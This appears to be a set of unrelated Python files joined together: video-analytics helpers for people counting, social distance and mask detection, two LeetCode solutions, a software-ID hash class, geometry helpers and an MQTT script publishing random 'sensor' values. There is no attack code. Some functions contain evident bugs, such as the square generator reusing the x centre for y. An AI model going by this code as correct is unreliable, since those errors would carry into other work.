                                format(retry, str(e)))
        except requests.exceptions.HTTPError as e:
            time.sleep(sleep_time)
            if retry == retries - 1 and abort_if_exception:
                raise Exception("Invalid HTTP response in {} retries\n. Original exception: {}".format(retry, str(e)))
        except requests.exceptions.Timeout as e:
            time.sleep(sleep_time)
            if retry == retries - 1 and abort_if_exception:
                raise Exception("Timeout reach in {} retries\n. Original exception: {}".format(retry, str(e)))
        except requests.exceptions.TooManyRedirects as e:
            time.sleep(sleep_time)
            if retry == retries - 1 and abort_if_exception:
                raise Exception("Too many redirection in {} retries\n. Original exception: {}".format(retry, str(e)))

def check_if_object_is_in_area2(object_coordinates, reference_line, m, b):
    '''
    * returns True if object is in Area2
    * returns False if object is in Area1
    * si m es None la pendiente es infinita es decir recta vertical a 90 grados con respecto de la horizontal
    * si m es 0 recta a horizontal
    '''
    if m is None:
        '''
        # object_coordinates[0] ->  x
        # reference_line[0][0]  ->  x1
        # if x > x1 then is in Area2, else in Area1
        '''
        if object_coordinates[0] > reference_line[0][0]:
            return True
        return False
    elif m == 0:
        '''
        # object_coordinates[1] -  y
        # reference_line[0][1]  -  y1
        # if y > y1 then is in Area2, else in Area1
        '''
        if object_coordinates[1] > reference_line[0][1]:
            return True
        return False
    else:
        '''
        # x1 = reference_line[0][0]
        # y1 = reference_line[0][1]
        # x = object_coordinates[0]
        # m = ((y2 - y1) * 1.0) / (x2 - x1) ... multiply by 1.0 to force float division
        # y_over_the_line = (m * (x - x1)) + y1  ... general line equation

        *** in the video the y's values increases while going down
        *** Are2 is always the higher values of y's after the reference line

        -------------      ------------
        | A1        /      |  \
        |          /       |   \
        | p=x,y   /        |    \   A1
        |        /  A2     | A   \
        |       /          |      \

        Given a point p=x,y the "x" is evaluated in the line equation, if the
        calculated "y_over_the_line" is lower than the "y" of
        the point "p", then the point is down the line and so in A2
        '''
        y_over_the_line = (m * object_coordinates[0]) + b
        '''
        # if y > y_overtheline point is in Area2
        '''
        if object_coordinates[1] > y_over_the_line:
            return True
        else:
            return False

def is_point_insde_polygon(x, y, polygon_length, polygon):

    p1x, p1y = polygon[0]
    for i in range(polygon_length+1):
        p2x, p2y = polygon[i % polygon_length]
        if y > min(p1y, p2y):
            if y <= max(p1y, p2y):
                if x <= max(p1x, p2x):
                    if p1y != p2y:
                        xinters = (y-p1y)*(p2x-p1x)/(p2y-p1y)+p1x
                    if p1x == p2x or x <= xinters:
                        # returns True if x,y are inside
                        return True
        p1x, p1y = p2x, p2y

    # returns False if x,y are not inside
    return False

##### PEOPLE COUNTING

def set_service_people_counting_url(server_url):
    global people_counting_url
    people_counting_url = server_url + 'SERVICE_NOT_DEFINED_'

def people_counting(camera_id, total_objects):
    '''
    Sending only the total of detected objects
    '''
    global people_counting_url

    date = get_timestamp()
    alert_id = str(date) + '_' + str(camera_id) + '_' + str(date)
    data = {
            'id': alert_id,
            'camera-id': camera_id,
            '#total_updated_at': date,
            'object_id': total_objects,
            }
    #print('People_counting first time..POST', data, people_counting_url)
    #x = threading.Thread(target=send_json, args=(data, 'POST', srv_url))
    #x.start()

##### AFORO

#def set_aforo_url():
#    global aforo_url, srv_url
#aforo_url = srv_url + 'tx/video-people.endpoint'

def aforo(aforo_url, box, object_id, camera_id, initial, last, entradas, salidas, outside_area=None,
          reference_line=None, m=None, b=None, rectangle=None):
    '''
    A1 is the closest to the origin (0,0) and A2 is the area after the reference line
    A1 is by default the outside
    A2 is by default the inside
    This can be changed by modifying the configuration variable "outside_area" to 2 (by default 1)
    x = box[0]
    y = box[1]

    initial -  must be a dictionary, and will be used to store the first position (Area1 or Area2) of a given ID
    last -     must be a dictionary, and will be used to store the last position (Area1 or Area2) of a given ID
    '''
    if rectangle:
        # si el punto esta afuera del area de interes no evaluamos
        if box[0] < rectangle[0] or box[0] > rectangle[4] or box[1] > rectangle[5] and box[1] < rectangle[1]:
            if reference_line:
                return entradas, salidas
            else:
                outside_area = 1
                area = 1

    if reference_line:
        if check_if_object_is_in_area2(box, reference_line, m, b):
            area = 2
        else:
            area = 1
    else:
        outside_area = 1
        area = 2

    if outside_area == 1:
        direction_1_to_2 = 1
        direction_2_to_1 = 0
    else:
        direction_1_to_2 = 0
        direction_2_to_1 = 1

    if object_id not in initial:
        initial.update({object_id: area})
        if object_id not in last:
            return entradas, salidas
    else:
        last.update({object_id: area})

    # De igual forma si los elementos continen las misma areas en el estado
    # actual que en el previo, entonces no tiene caso evaluar mas
    if initial[object_id] == last[object_id]:
        return entradas, salidas

    for item in last.keys():
        if initial[item] == 1 and last[item] == 2:
            time_in_epoc = get_timestamp()
            data_id = str(time_in_epoc) + '_' + str(object_id)
            data = {
                    'id': data_id,
                    'direction': direction_1_to_2,
                    'camera-id': camera_id,
                    '#date-start': time_in_epoc,
                    '#date-end': time_in_epoc,
                }
            initial.update({item: 2})

            print('Sending Json of camera_id: ', camera_id, 'ID: ', item, 'Sal:0,Ent:1 = ',
                  direction_1_to_2, "tiempo =", time_in_epoc)
            x = threading.Thread(target=send_json, args=(data, 'PUT', aforo_url,))
            x.start()

            if direction_1_to_2 == 1:
                entradas += 1
            else:
                salidas += 1

        elif initial[item] == 2 and last[item] == 1:
            time_in_epoc = get_timestamp()
            data_id = str(time_in_epoc) + '_' + str(object_id)
            data = {
                    'id': data_id,
                    'direction': direction_2_to_1,
                    'camera-id': camera_id,
                    '#date-start': time_in_epoc,
                    '#date-end': time_in_epoc,
                }
            initial.update({item: 1})

            print('Sending Json of camera_id: ', camera_id, 'ID: ', item, 'Sal:0,Ent:1 = ', direction_2_to_1,
                  "tiempo =", time_in_epoc)
            x = threading.Thread(target=send_json, args=(data, 'PUT', aforo_url,))
            x.start()

            if direction_2_to_1 == 1:
                entradas += 1
            else:
                salidas += 1

    return entradas, salidas

##### SOCIAL DISTANCE

def set_social_distance_url(srv_url):
    global social_distance_url
    social_distance_url = srv_url + 'tx/video-socialDistancing.endpoint'

def social_distance2(camera_id, ids_and_boxes, tolerated_distance, persistence_time, max_side_plus_side, detected_ids):
    '''
    social distance is perform in pairs of not repeated pairs
    Being (A, B, C, D, E, F) the set of detected objects

    The possible permutation are:

       AB AC AD AE AF
          BC BD BE BF
             CD CE CF
                DE DF
                   Ef

    We are going to start compararing the first element (index=0 or i=0)
    '''
    # TODO: diccionario puede crecer mucho depurarlo comparando los elementos que dejen
    #  de existir o no sean detectados despues de 5seg')

    # sorting elements to always have the same evaluation order
    ids = [item for item in ids_and_boxes.keys()]
    ids.sort()
    # creating the list
    i = 1
    for pivot in ids[:-1]:
        for inner in ids[i:]:
            if pivot not in detected_ids:
                Ax = ids_and_boxes[pivot][0]
                x = ids_and_boxes[inner][0]

                if Ax > x:
                    dx = Ax -x
                else:
                    dx = x - Ax

                if dx < tolerated_distance:
                    Ay = ids_and_boxes[pivot][1]
                    y = ids_and_boxes[inner][1]

                    if Ay > y:
                        dy = Ay - y
                    else:
                        dy = y - Ay

                    if (dx + dy) < max_side_plus_side and sqrt((dx*dx) + (dy*dy)) < tolerated_distance:
                        # first time detection for pivot A and associated B
                        pivot_time = get_timestamp()
                        detected_ids.update({
                            pivot: {
                                inner:{
                                    '#detected_at': pivot_time,
                                    '#reported_at': None,
                                    'reported': False,
                                    }
                                }
                            })
            else:
                if inner not in detected_ids[pivot]:
                    Ax = ids_and_boxes[pivot][0]
                    x = ids_and_boxes[inner][0]

                    if Ax > x:
                        dx = Ax -x
                    else:
                        dx = x - Ax

                    if dx < tolerated_distance:
                        Ay = ids_and_boxes[pivot][1]
                        y = ids_and_boxes[inner][1]

                        if Ay > y:
                            dy = Ay - y
                        else:
                            dy = y - Ay

                        if (dx + dy) < max_side_plus_side and sqrt((dx*dx) + (dy*dy)) < tolerated_distance:
                            # first time detection for associated C is registered
                            detected_at_inner = get_timestamp()
                            detected_ids[pivot].update({
                                inner: {
                                    '#detected_at': detected_at_inner,
                                    '#reported_at': None,
                                    'reported': False,
                                    }
                                })
                else:
                    Ax = ids_and_boxes[pivot][0]
                    x = ids_and_boxes[inner][0]

                    if Ax > x:
                        dx = Ax -x
                    else:
                        dx = x - Ax

                    if dx > tolerated_distance:
                        if not detected_ids[pivot][inner]['reported']:
                            del detected_ids[pivot][inner]
                    else:
                        Ay = ids_and_boxes[pivot][1]
                        y = ids_and_boxes[inner][1]

                        if Ay > y:
                            dy = Ay - y
                        else:
                            dy = y - Ay

                        if (dx + dy) >= max_side_plus_side or sqrt((dx*dx) + (dy*dy)) >= tolerated_distance:
                            del detected_ids[pivot][inner]
                        else:
                            current_time = get_timestamp()
                            initial_time = detected_ids[pivot][inner]['#detected_at']
                            if not detected_ids[pivot][inner]['reported'] and \
                                    (current_time - initial_time) >= persistence_time:
                                detected_ids[pivot][inner].update({'#reported_at': current_time})
                                detected_ids[pivot][inner].update({'reported': True})
                                alert_id = str(current_time) + '_'+str(pivot) + '_and_'+str(inner)
                                data = {
                                    'id': alert_id,
                                    'camera-id': camera_id,
                                    '#date': current_time,
                                    }
                                print('Social distance', data, social_distance_url, 'PUT', 'distance=',
                                      sqrt((dx*dx) + (dy*dy)), 'tolerada:', tolerated_distance)
                                x = threading.Thread(target=send_json, args=(data, 'PUT', social_distance_url,))
                                x.start()
            i += 1

#### MASK DETECTION

def set_mask_detection_url(server_url):
    global mask_detection_url
    mask_detection_url = server_url + 'tx/video-maskDetection.endpoint'

def mask_detection(mask_id, no_mask_ids, camera_id, reported_class=0):
    time_in_epoc = get_timestamp()
    data_id = str(time_in_epoc) + '_' + str(mask_id)
    data = {
        'id': data_id,
        'mask': reported_class,
        'camera-id': camera_id,
        '#date-start': time_in_epoc,
        '#date-end': time_in_epoc
        }

    print('Mask detection', data, mask_detection_url, 'PUT')
    x = threading.Thread(target=send_json, args=(data, 'PUT', mask_detection_url,))
    x.start()


class Solution:
    def toGoatLatin(self, sentence: str) -> str:
      words: List[str] = sentence.split()
      vowel: str = 'aeiou'
      for i in range(len(words)):
        temp: str = ""
        word_len: int = len(words[i])
        if words[i][0] in vowel or words[i][0] in vowel.upper():
          temp = words[i] + "ma" + "a" * (i + 1)
        else:
          temp = words[i][1:] + words[i][0] + "ma" + "a" * (i + 1)
        words[i] = temp
      return " ".join(words)


from enum import IntEnum

from typing import Optional

class uSwidHashAlg(IntEnum):
    """Represents an enumerated type of hash"""

    UNKNOWN = 0
    SHA256 = 1
    SHA384 = 7
    SHA512 = 8

    @classmethod
    def from_string(cls, alg_id: str) -> "uSwidHashAlg":
        """Creates a uSwidHashAlg from a string identifier"""
        return cls(
            {
                "SHA256": uSwidHashAlg.SHA256,
                "SHA384": uSwidHashAlg.SHA384,
                "SHA512": uSwidHashAlg.SHA512,
            }[alg_id]
        )

class uSwidHash:
    """Represents a SWID link"""

    def __init__(
        self,
        alg_id: Optional[uSwidHashAlg] = None,
        value: Optional[str] = None,
    ):
        """Initializes uSwidHash"""
        self.alg_id: Optional[uSwidHashAlg] = alg_id
        """Algorigth ID, e.g. ``uSwidHashAlg.SHA256``"""
        self.value: Optional[str] = value
        """Checksum value"""

    @property
    def alg_id_for_display(self) -> Optional[str]:
        """Returns the value"""
        if not self.alg_id:
            return None
        return {
            uSwidHashAlg.SHA256: "SHA-256",
            uSwidHashAlg.SHA384: "SHA-384",
            uSwidHashAlg.SHA512: "SHA-512",
        }.get(self.alg_id)

    @property
    def value(self) -> Optional[str]:
        """Returns the value"""
        return self._value

    @value.setter
    def value(self, value: Optional[str]) -> None:
        """Sets the value, guessing the alg_id from the length if unset"""
        if self.alg_id is None and value:
            if len(value) == 64:
                self.alg_id = uSwidHashAlg.SHA256
            elif len(value) == 96:
                self.alg_id = uSwidHashAlg.SHA384
            elif len(value) == 128:
                self.alg_id = uSwidHashAlg.SHA512
        self._value = value

    def __repr__(self) -> str:
        alg_id_str = self.alg_id.name if self.alg_id else uSwidHashAlg.UNKNOWN.name
        return f'uSwidHash(alg_id={alg_id_str},value="{self.value}")'


## Time:O(n)
## Space:O(1)

'''
Given the head of a singly linked list, return the middle node of the linked list.
If there are two middle nodes, return the second middle node.
'''

## 快慢指针，快指针2步，慢指针1步

# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:
        pfast, pslow = head, head
        while pfast and pfast.next:
            pfast = pfast.next.next
            pslow = pslow.next
        return pslow

LeetCode/876. Middle of the Linked List.py


import numpy as np

def line(N, start=(0.0, 0.0), end=(1.0, 1.0)):
    return list(zip(*list(map(lambda x: np.linspace(*x, N).tolist(), zip(start, end)))))

def line_(N, start_x=0.0, start_y=0.0, end_x=1.0, end_y=1.0):
    return line(N, (start_x, start_y), (end_x, end_y))

def circle(N, center=(0.5, 0.5), radius=0.25, phase=0.0):

    angles = np.linspace(0, 2 * np.pi, N + 1)[:-1]
    pos = radius * np.array(list(map(np.exp, (angles + phase) * 1j)))
    x = center[0] + pos.real
    y = center[1] + pos.imag
    return list(zip(x, y))

def circle_(N, center_x=0.5, center_y=0.5, radius=0.25, phase=0.0):
    return circle(N, (center_x, center_y), radius, phase)

def polygon(N, coords, closed=True):

    element_lengths = []
    for c1, coord1 in enumerate(coords):
        coord1 = np.array(coord1)
        coord2 = np.array(coords[(c1 + 1) % len(coords)])
        element_lengths.append(np.linalg.norm(coord2 - coord1))
    if not closed:
        element_lengths = element_lengths[:-1]
    element_lengths_cumulative = np.cumsum(element_lengths)

    intervals = np.linspace(0, sum(element_lengths), N + int(closed))

    result_coords = [tuple(coords[0])]
    for interval in intervals[1:]:
        el = 0
        while interval > element_lengths_cumulative[el]:
            el += 1
        if el > 0:
            interval = interval - element_lengths_cumulative[el - 1]
        section_ratio = interval / float(element_lengths[el])
        interval_coord = np.array(coords[el]) + section_ratio * (
            np.array(coords[(el + 1) % len(coords)]) - np.array(coords[el])
        )
        result_coords.append(tuple(interval_coord))
    if closed:
        result_coords = result_coords[:-1]

    return result_coords

def poly4(N, x1, y1, x2, y2, x3, y3, x4, y4, closed=True):
    coords = np.array([[x1, y1], [x2, y2], [x3, y3], [x4, y4]])
    return polygon(N, coords, closed)

def square(N, center=(0.5, 0.5), width=0.5):
    coords = []
    coords.append((center[0] - 0.5 * width, center[0] - 0.5 * width))
    coords.append((center[0] + 0.5 * width, center[0] - 0.5 * width))
    coords.append((center[0] + 0.5 * width, center[0] + 0.5 * width))
    coords.append((center[0] - 0.5 * width, center[0] + 0.5 * width))
    return polygon(N, coords, closed=True)

def square_(N, center_x=0.5, center_y=0.5, width=0.5):
    return square(N, (center_x, center_y), width)


T=int(input())

for i in range(0,T):
    temp=list(input().split(" "))
    A=int(temp[0])
    X=int(temp[1])

    if X<10:
        print((A-1)*(10-X))
    else:
        print(0)


import sys
from Adafruit_IO import MQTTClient
import time
import random
from dotenv import load_dotenv
import os
from faceAI import faceAI

load_dotenv()
AIO_FEED_ID = ["btnled", "btndoor", "btnfan"]
AIO_USERNAME = os.environ.get('USER_NAME')
AIO_KEY = os.environ.get('KEY')

def connected(client):
    print("Ket noi thanh cong ...")
    for topic in AIO_FEED_ID:
        client.subscribe(topic)

def subscribe(client, userdata, mid, granted_qos):
    print("Subscribe thanh cong ...")

def disconnected(client):
    print("Ngat ket noi ...")
    sys.exit(1)

def message(client, feed_id, payload):
    print("Nhan du lieu: " + payload + ",feed id: " + feed_id)

client = MQTTClient(AIO_USERNAME, AIO_KEY)
client.on_connect = connected
client.on_disconnect = disconnected
client.on_message = message
client.on_subscribe = subscribe
client.connect()
client.loop_background()

count = 10
while True:
    if (count <= 0):
        print("Publish data to server Adafruit")
        time.sleep(5)
        print("Publish face AI")
        client.publish("ai",faceAI())
        time.sleep(5)
        print("Publish temperature")
        client.publish("temperature", random.randint(28, 38))
        time.sleep(5)
        print("Publish humidity")
        client.publish("humidity", random.randint(0, 100))
        time.sleep(5)
        print("Publish light")
        client.publish("light", random.randint(0, 500))
        count = 10
    count -= 1
    time.sleep(1)